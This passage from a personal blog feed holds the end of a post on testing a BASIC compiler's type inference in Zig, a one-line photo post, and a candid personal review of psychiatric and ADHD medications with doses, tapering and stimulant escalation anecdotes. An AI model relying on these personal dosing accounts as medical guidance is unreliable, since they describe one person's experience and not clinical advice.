style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;                    &lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;rhs&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;Expr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;Expr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;Payload&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;oneImm&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;tyRhs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;                &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;catch&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;switch&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;                    &lt;span style=&quot;color: #f9e2af;&quot;&gt;Error&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;TypeMismatch&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// keelatud eine&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;                    &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;                &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;var&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;m&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;stack&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;Machine&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;stack&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;TestEffects&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;                    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;testing&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;allocator&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;                    &lt;span style=&quot;color: #cba6f7;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;stack&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;TestEffects&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;                    &lt;span style=&quot;color: #fab387;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;                &lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;defer&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;m&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;deinit&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;code&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;buf&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;toOwnedSlice&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;testing&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;allocator&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;defer&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;testing&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;allocator&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;free&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;code&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;m&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;code&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;testing&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;expectEqual&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;m&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;stack&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;items&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;testing&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;expectEqual&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;m&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;stack&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;items&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;compilerTy&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;            &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;        &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We go as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;For all binary operations, enumerate all permutations of left- and right-hand
side types.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For each such triple, try compiling the binary operation with the “one”-value&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-one&quot; id=&quot;fnref-one&quot; data-footnote-ref&gt;2&lt;/a&gt;&lt;/sup&gt;
of each type as its operands. (For integrals, it’s literally the number one.)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If we get a type error from this attempt, skip it — we don’t care that we can’t
divide a DOUBLE by a STRING, or whatever.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If not, the &lt;code&gt;compileExpr&lt;/code&gt; method returns to us the type of what it believes
the result to be. This is the same information used elsewhere in the
compiler to guide opcode and coercion decisions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a stack machine, and run the compiled code.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Seeing as we didn’t actually compile a full statement, we expect the result
of the operation to be left sitting on the stack. (Normally a statement
would ultimately consume what’s been pushed.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Assert that the type of the runtime value left on the stack is the same as
what the compiler expects!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I love how much this solution takes care of itself. While it lacks the
self-descriptive power of a more coupled approach to designing the compiler and
runtime, it lets the implementations remain quite clear and straightforward to
read. It also lets them stand alone, which is handy when a second implementation
of the runtime part is forthcoming, and is (by necessity) in a completely
different language environment.&lt;/p&gt;
&lt;p&gt;There was greater value than just from floats, of course: relational operators
like equal “&lt;code&gt;=&lt;/code&gt;”, not equal “&lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt;”, etc. all return INTEGERs 0 or -1, but
can operate with any combination of numeric types, or with pairs of STRINGs.
Bitwise operators like &lt;code&gt;AND&lt;/code&gt;, &lt;code&gt;OR&lt;/code&gt;, &lt;code&gt;XOR&lt;/code&gt;, &lt;code&gt;IMP&lt;/code&gt; (!), etc. can operate with any
combination of numeric types, but coerce any floats to integrals before doing
so. I bet there’ll be more to uncover, too.&lt;/p&gt;
&lt;p&gt;Hope this was fun to read!&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-highlighting&quot;&gt;
&lt;p&gt;I will get some real BASIC highlighting up here by the next
post on this! &lt;a href=&quot;#fnref-highlighting&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-one&quot;&gt;
&lt;p&gt;I first used each type’s zero value, but then we get division by zero errors while trying
to execute the code! &lt;a href=&quot;#fnref-one&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;2&quot; aria-label=&quot;Back to reference 2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

  <entry>
    <title>Kalakarp</title>
    <updated>2024-07-27T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/07/27/kalakarp</id>
    <link href="https://kivikakk.ee/2024/07/27/kalakarp" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/kalakarp.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Feeling very seen by fish today.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Ravimid</title>
    <updated>2024-07-26T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/07/26/ravimid</id>
    <link href="https://kivikakk.ee/2024/07/26/ravimid" />

    <content type="html">&lt;p&gt;Reviewing all the medications I’ve ever been on. This will be intensely specific to my experiences;
YMMV! Content note: mentions of mental illness, suicidal feelings, assault, sex.&lt;/p&gt;
&lt;h2&gt;mental health(-ish)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;escitalopram&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A day or two after starting it I felt like the world had colour in it again for the first time.&lt;/li&gt;
&lt;li&gt;Not very effective for anything other than “light depression” (?) imo.&lt;/li&gt;
&lt;li&gt;Prescribed initially for depression/I’m 23 And Life Is Generally Hard, was on it for two years.&lt;/li&gt;
&lt;li&gt;Later prescribed in an attempt to counter chronic idiopathic nausea, to no effect.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;quetiapine&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wow! I didn’t know what “suicidal compulsion” actually felt like until I took my first dose.
That was also my last dose.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;desvenlafaxine&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Going up from 100mg to 200mg, I’d just stop knowing how to form sentences halfway through them.&lt;/li&gt;
&lt;li&gt;Effective on moderate GAD-type symptoms.&lt;/li&gt;
&lt;li&gt;Coming off it was, contrary to all expectations, pretty uneventful. Except that for about three
weeks, all I could smell was blood, with no apparent source.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;brexpiprazole&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If you close your eyes, you will fall asleep. At any time.&lt;/li&gt;
&lt;li&gt;Definitely calm.&lt;/li&gt;
&lt;li&gt;Much too sleepy to continue, but it definitely brought me down after increasingly intensifying
distress post-sexual assault.&lt;/li&gt;
&lt;li&gt;As with any antipsychotic/dopamine antagonist, &lt;a href=&quot;https://en.wikipedia.org/wiki/Tardive_dyskinesia&quot;&gt;not particularly inclined&lt;/a&gt; to remain on one
for any longer period of time.&lt;/li&gt;
&lt;li&gt;At the time I was put on it, the &lt;em&gt;only&lt;/em&gt; article in the literature about it had the (actually!)
reassuring title: &lt;a href=&quot;https://pubmed.ncbi.nlm.nih.gov/26913177/&quot;&gt;“Brexpiprazole: so far so good”&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;lamotrigine&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unclear whether I felt much of anything on this, even after three years at 200mg.&lt;/li&gt;
&lt;li&gt;Coming off it: ANGER. Wow. (Remember to titrate; SJS can be triggered both on increase and
decrease, apparently.)&lt;/li&gt;
&lt;li&gt;After coming off it: oh my goodness I suddenly feel like being creative again.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;mirtazapine&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;eeeeeeeepy and hunnnnggggy.&lt;/li&gt;
&lt;li&gt;Extremely and rapidly effective with chronic idiopathic nausea. &lt;em&gt;Nothing&lt;/em&gt; else worked.&lt;/li&gt;
&lt;li&gt;Weight gain pretty woof. That said, the weight I gained on it, I managed to drop while still on
it.&lt;/li&gt;
&lt;li&gt;I don’t remember if I maxed out at 30mg or 45mg — at higher doses the dissociation made
memory very wonky.&lt;/li&gt;
&lt;li&gt;Discontinuation meant a lot of rebound nausea and anxiety. It took me about 4 attempts, over
several years, with various titration schedules; the successful attempt was just dropping from
a sustained 15mg to 0. Trying to step it down at 7.5mg only prolonged the unpleasantness and
resulted in aborting the attempt — subtherapeutic but side-effects remain.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;duloxetine&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Really pleasant and noticeable, even at 30mg. Everything feels a bit lighter, and mild
neuropathy totally neutralised.&lt;/li&gt;
&lt;li&gt;Night sweats :( Became intolerable not long after increasing to 60mg, and didn’t subside after
reducing again.&lt;/li&gt;
&lt;li&gt;Discontinuation was reasonably uneventful; (manageably) shorterer temper and very mild nausea.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;gabapentin&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I just started this! Early effects for neuropathy are promising. Slightly dissociative/floaty.&lt;/li&gt;
&lt;li&gt;Was always curious about gabapentin/pregabalin since I first started having noticeable anxiety,
so I’m glad I’ve gotten to try it. Definitely somewhat calming.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;diazepam&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is what it is.&lt;/li&gt;
&lt;li&gt;Avoid taking on an empty stomach if you’re having issues with nausea — it can get so much
worse.&lt;/li&gt;
&lt;li&gt;I treat it with extreme caution. I’ve read so many personal horror stories about benzodiazepine
dependence and it takes a really bad time for me to consider taking even 2.5mg. I’ll go up to
5mg if need be, but in general would refuse to take it if I’ve had any separate dose within the
last week.&lt;/li&gt;
&lt;li&gt;For the above reason, despite having been in some very bad places (where doctors were
prescribing it in larger quantities at a time), I’ve maybe taken 100mg total over the last
decade. Just not worth the risk.&lt;/li&gt;
&lt;li&gt;Even less inclined to if I’ve taken stimulants on the same day, but I’ve only ever once
(namely, in a life-threatening situation) had to even consider diazepam since getting medicated
for ADHD 2 years ago. Funny how that works!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;temazepam&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Not a fan; taken a handful of times ever, mostly at music festivals.&lt;/li&gt;
&lt;li&gt;I have chronic insomnia and this is just not any part of an answer to it.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;ADHD&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;dextroamphetamine
&lt;ul&gt;
&lt;li&gt;Current weapon of choice. Calm, alert, focussed.&lt;/li&gt;
&lt;li&gt;Latent anxiety is reduced a lot, probably because it lets me have some agency in my own head.&lt;/li&gt;
&lt;li&gt;My doctor gradually increased my dose to 10mg, 4 times a day. This is absolutely fucking nuts.
Don’t do that.&lt;/li&gt;
&lt;li&gt;After 1.5 years I’ve settled on 2.5mg, twice a day at a 4 hour interval, and it’s completely
adequate.&lt;/li&gt;
&lt;li&gt;If I’m having a very long day, a third dose is fine too. 2.5mg doses are very light.&lt;/li&gt;
&lt;li&gt;For a long while there I was finding myself increasing my dose by 2.5mg or 5mg (per day) every
week or so since the tolerance builds so rapidly. You will deplete every last monoamine you
have like this. I managed to tolerate 40mg/day (after a buildup) for about two days before I
crashed. Do Not.&lt;/li&gt;
&lt;li&gt;Sometimes 2.5mg doses can feel a little bit &lt;em&gt;too&lt;/em&gt; light, but my health right now is such that
increasing even just one of the doses leaves me feeling empty the next day. I’m glad to have
something that works.&lt;/li&gt;
&lt;li&gt;Small doses is also good because I’ve yet to see a psychiatrist in Estonia to get a
prescription here, so I’m working through my stock from Australia very slowly. As far as I can
tell, currently authorised dextroamphetamine products &lt;a href=&quot;https://www.ravimiregister.ee/publichomepage.aspx?pv=PublicMedDetail&amp;amp;vid=988182bb-38b5-4201-bc1f-8ec0eeb820fb&quot;&gt;haven’t been imported to Estonia&lt;/a&gt;,
so it’s unclear how easy it’d be to access it.&lt;/li&gt;
&lt;li&gt;There’s &lt;a href=&quot;https://www.ravimiregister.ee/publichomepage.aspx?pv=PublicMedDetail&amp;amp;vid=7e33f799-6b5e-402f-b654-cda2d0e5fe66&quot;&gt;this one&lt;/a&gt;, but it’s only available in 10mg? And searching for it online shows up
something with the same name, but it’s &lt;a href=&quot;https://www.google.com/search?hl=en&amp;amp;q=attentin+10mg&amp;amp;udm=2&quot;&gt;atomoxetine&lt;/a&gt; instead? Very suss on that.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;lisdexamfetamine
&lt;ul&gt;
&lt;li&gt;Hrrrrrrr. Not a fan.&lt;/li&gt;
&lt;li&gt;Something about this leaves me feeling depleted at any effective dose. I think I like the
little humps I get between dex doses — lisdex is just exhausting, and an absolute pain if you
wake up late.&lt;/li&gt;
&lt;li&gt;30mg? Not enough to feel anything — too spread out.&lt;/li&gt;
&lt;li&gt;40mg? I kinda feel something. It’s a bit eh.&lt;/li&gt;
&lt;li&gt;50mg? Yeah, okay, maybe this starts to feel like I’m having an OK dose of dex — I can think,
focus, actually listen to people when they talk to me. I feel like I am spread very thin.&lt;/li&gt;
&lt;li&gt;60–70mg? Effective — wired — but also I start sleeping longer and longer because of how
exhausted it leaves me, making my doses later and later, in turn fucking up my sleep schedule;
not to mention the pervasive sense of Bad that starts to accumulate. No ty.&lt;/li&gt;
&lt;li&gt;My god. I tried combining ~low dose lisdex with a small dex booster in the afternoon. Quick way
to know what it feels like to fry your brain. You can do all the stimulant equivalence
arithmetic you want, it just doesn’t add up that way.&lt;/li&gt;
&lt;li&gt;If I was offered lisdex or nothing, it’s not clear to me that I would take it.&lt;/li&gt;
&lt;li&gt;In general, I’m not sold on long-acting stimulants. I get the abuse angle (it’s what I was put
on first, for this reason), and I do read stories of folks who find it legitimately helpful —
like most others with ADHD, I regularly forget to take my stimulants — but there was no way
to make it work for me. It’s too inflexible, and there’s some (possibly fear-mongering) news
out there that suggests long-acting stimulants carry a greater risk of psychosis than
short-acting ones?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;methylphenidate
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Very conflicted on this. (Annoying that it’s so much more readily available, especially in
Europe.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://elifesciences.org/articles/68165&quot;&gt;Possibly neuroprotective vs. an active COVID infection!&lt;/a&gt; I was on MPH when I finally
got COVID, and was wondering if I should keep taking stimulants through a moderately bad case
of it or not. This article swayed me in favour of maintaining it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Remarkably, several drugs acting on receptors to neurotransmitters also appear to decrease
hospitalization risk: rizatriptan (OR=0.118, CI 0.003 to 0.750), bupropion (OR=0.399, CI
0.136 to 0.976), and methylphenidate (OR=0.444, CI 0.178 to 0.972).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I’ll take an OR of 0.444ish. I had to argue with a doctor from the government(!) to avoid
hospitalisation, but avoid it I did.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I haven’t gotten a sense for how shared this is, but I get noticeable euphoria when starting on
10mg, and it makes one very inclined to up the dose when you stop getting that response after a
few days.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
